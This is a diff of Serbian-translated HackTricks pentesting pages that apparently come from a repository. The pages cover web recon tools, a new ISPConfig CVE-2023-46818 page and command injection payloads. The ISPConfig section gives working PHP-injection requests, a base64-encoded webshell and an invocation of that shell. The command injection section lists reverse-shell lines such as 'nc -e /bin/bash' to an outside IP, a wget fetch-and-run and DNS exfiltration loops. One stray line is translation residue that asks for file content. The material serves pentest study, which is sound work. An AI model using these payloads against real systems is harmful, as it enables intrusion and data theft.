- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.** - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova. - [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza). - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje. - [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Preporučeni rečnici:** Preporučene liste reči:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** uključen rečnik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote rečnici](https://wordlists.assetnote.io) - [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt - raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt - directory-list-2.3-medium.txt
@ -267,41 +268,41 @@ Alati:
- _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._ _Napomena: kad god se novi direktorijum otkrije tokom brute-forcing-a ili spidering-a, treba da bude Brute-Forced._
### Šta proveriti na svakoj pronađenoj datoteci ### What to check on each file found
- [**Proveravač pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju. - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken links unutar HTML-a koji mogu biti podložni takeovers.
- **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **File Backups**: Kada nađete sve fajlove, tražite backup-ove svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante imenovanja backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci. - **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite skrivene parametre u svakom izvršnom web fajlu.**
- _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**. - **Comments:** Proverite komentare u svim fajlovima, možete pronaći **credentials** ili **skrivenu funkcionalnost**.
- Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice. - Ako radite **CTF**, "uobičajen" trik je da **sakrijete** informacije unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source code u browser-u). Druga mogućnost je da koristite **više novih linija** i sakrijete informaciju u komentaru na **dnu** web strane.
- **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API keys različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti. - Google API keys: Ako pronađete API key koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje api-je ključ može da pristupi.
- **S3 Buckets**: Tokom spidering-a proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html). - **S3 Buckets**: Tokom spidering-a proverite da li neki **subdomain** ili neki **link** ima veze sa nekim **S3 bucket-om**. U tom slučaju, [**check** the **permissions** of the bucket](buckets/index.html).
### Posebna otkrića ### Special findings
**Tokom** izvođenja **spidering-a** i **brute-forcing-a** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**. Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesantne** **stvari** koje treba **primetiti**.
**Zanimljive datoteke** **Interesting files**
- Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka. - Potražite **linkove** ka drugim fajlovima unutar **CSS files**.
- [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md) - [If you find a _**.git**_ file some information can be extracted](git.md)
- Ako pronađete _**.env**_ informacije kao što su api ključevi, lozinke baza podataka i druge informacije mogu biti pronađene. - Ako nađete _**.env**_ fajl, mogu se naći informacije kao što su api keys, dbs passwords i druge informacije.
- Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ovo nisu datoteke, ali će verovatno "izgledati kao" njih. - Ako nađete **API endpoints** treba da ih [takođe testirate](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni.
- **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** - **JS files**: U sekciji spidering pomenuto je više alata koji mogu ekstrahovati putanje iz JS files. Takođe bi bilo interesantno **monitorovati svaki JS fajl koji pronađete**, jer u nekim situacijama promena može ukazivati da je potencijalna ranjivost uvedena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.**
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive. - Takođe bi trebalo proveriti otkrivene JS files sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste otkrili da li su ranjivi.
- **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) - U više navrata biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
- Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost. - Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametrima ili pojavljivanje nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,38 +313,38 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
**502 Proxy Error** **502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF. Ako neka stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF.
**NTLM Authentication - Info disclosure** **NTLM Authentication - Info disclosure**
Ako server koji radi traži autentifikaciju je **Windows** ili pronađete prijavu koja traži vaše **akreditive** (i traži **ime** **domena**), možete izazvati **otkrivanje informacija**.\ Ako server koji traži autentifikaciju radi na **Windows** ili nađete login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\
**Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (verzija IIS-a, verzija Windows-a...) unutar header-a "WWW-Authenticate".\ **Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će u header-u "WWW-Authenticate" odgovoriti internim informacijama (IIS version, Windows version...).\
Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_". Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)** **HTTP Redirect (CTF)**
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju), ali nešto bi moglo biti **sakriveno** unutra. Moguće je **ubaciti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu.
### Proveravanje web ranjivosti ### Web Vulnerabilities Checking
Sada kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da proverite mnogo mogućih ranjivosti. Možete pronaći kontrolnu listu ovde: Sad kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Možete pronaći checklist ovde:
{{#ref}} {{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md ../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}} {{#endref}}
Pronađite više informacija o web ranjivostima na: Više informacija o web vuln-ovima:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Pratite stranice za promene ### Monitor Pages for changes
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti. Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica radi modifikacija koje bi mogle uvesti ranjivosti.
### HackTricks Automatske Komande ### HackTricks Automatic Commands
``` ```
Protocol_Name: Web #Protocol Abbreviation if there is one. Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one. Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Overview
ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija.
Key default paths:
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Uređivač jezika PHP code injection (CVE-2023-46818)
- Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preduslovi:
- Prijavite se kao ugrađeni superadmin nalog `admin` (prema proizvođaču, druge uloge nisu pogođene)
- Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini`
- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Ručna procedura eksploatacije
1) Open/create a language file to obtain CSRF tokens
Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Van-kanalni test (posmatraj ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Pisanje fajlova i ubacivanje webshell-a
Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr. `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
### Python PoC
Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Primer pokretanja:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Ojačavanje
- Ažurirajte na 3.2.11p1 ili noviju verziju
- Onemogućite uređivač jezika osim ako nije strogo neophodan:
```
admin_allow_langedit=no
```
- Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije
- Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog
## References
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Šta je injekcija komandi? ## Šta je command Injection?
**Injekcija komandi** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. A **command injection** omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
### Kontekst ### Kontekst
U zavisnosti od **gde se vaši unosi injektuju**, možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre komandi. U zavisnosti od **gde se vaš unos ubacuje** možda ćete morati da **prekinete kontekst unutar navoda** (koristeći `"` ili `'`) pre komandi.
## Injekcija/izvršavanje komandi ## Command Injection/Execution
```bash ```bash
#Both Unix and Windows supported #Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED) ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported #Only unix supported
`ls` # `` `ls` # ``
@ -29,16 +30,16 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Limitation** Bypasses ### **Ograničenja** Bypasses
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:** Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, zanimaće vas da pročitate o ovim **Bypasses:**
{{#ref}} {{#ref}}
../linux-hardening/bypass-bash-restrictions/ ../linux-hardening/bypass-bash-restrictions/
{{#endref}} {{#endref}}
### **Primjeri** ### **Primeri**
``` ```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Parametri ### Parametri
Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sličnim RCE ranjivostima (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -74,9 +75,9 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli
?run={payload} ?run={payload}
?print={payload} ?print={payload}
``` ```
### Ekstrakcija podataka zasnovana na vremenu ### Time based data exfiltration
Ekstrakcija podataka: znak po znak Ekstrakcija data: char po char
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -88,9 +89,9 @@ real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
``` ```
### DNS zasnovana ekfiltracija podataka ### DNS based data exfiltration
Na osnovu alata sa `https://github.com/HoLyVieR/dnsbin` takođe hostovanog na dnsbin.zhack.ca Bazirano na alatu sa `https://github.com/HoLyVieR/dnsbin` koji je takođe hostovan na dnsbin.zhack.ca
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Online alati za proveru DNS bazirane ekfiltracije podataka: Online alati za proveru DNS based data exfiltration:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
### Zaobilaženje filtriranja ### Filtriranje bypass
#### Windows #### Windows
``` ```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` vs `execFile`
Kada auditujete JavaScript/TypeScript back-endove, često ćete se susresti sa Node.js `child_process` API-jem. Prilikom audita JavaScript/TypeScript backend-ova često ćete naići na Node.js `child_process` API.
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` pokreće **shell** (`/bin/sh -c`), stoga svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) će rezultirati **command injection** kada se korisnički unos konkatenira u string. `exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string.
**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** kako ne bi bio uključen shell: **Ublažavanje:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen:
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 je bio podložan eksploataciji putem neautentifikovanog WebSocket događaja koji je postavljao podatke pod kontrolom napadača u `id_user`, koji je kasnije bio ugrađen u `exec()` poziv, postignuvši RCE (Pwn2Own Ireland 2024). Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 bio je ranjiv putem neautentifikovanog WebSocket događaja koji je smestio podatke kontrolisane od strane napadača u `id_user`, a koji su kasnije ubačeni u poziv `exec()`, ostvarivši RCE (Pwn2Own Ireland 2024).
## Brute-Force Detection List ## Lista za detekciju Brute-Force
{{#ref}} {{#ref}}
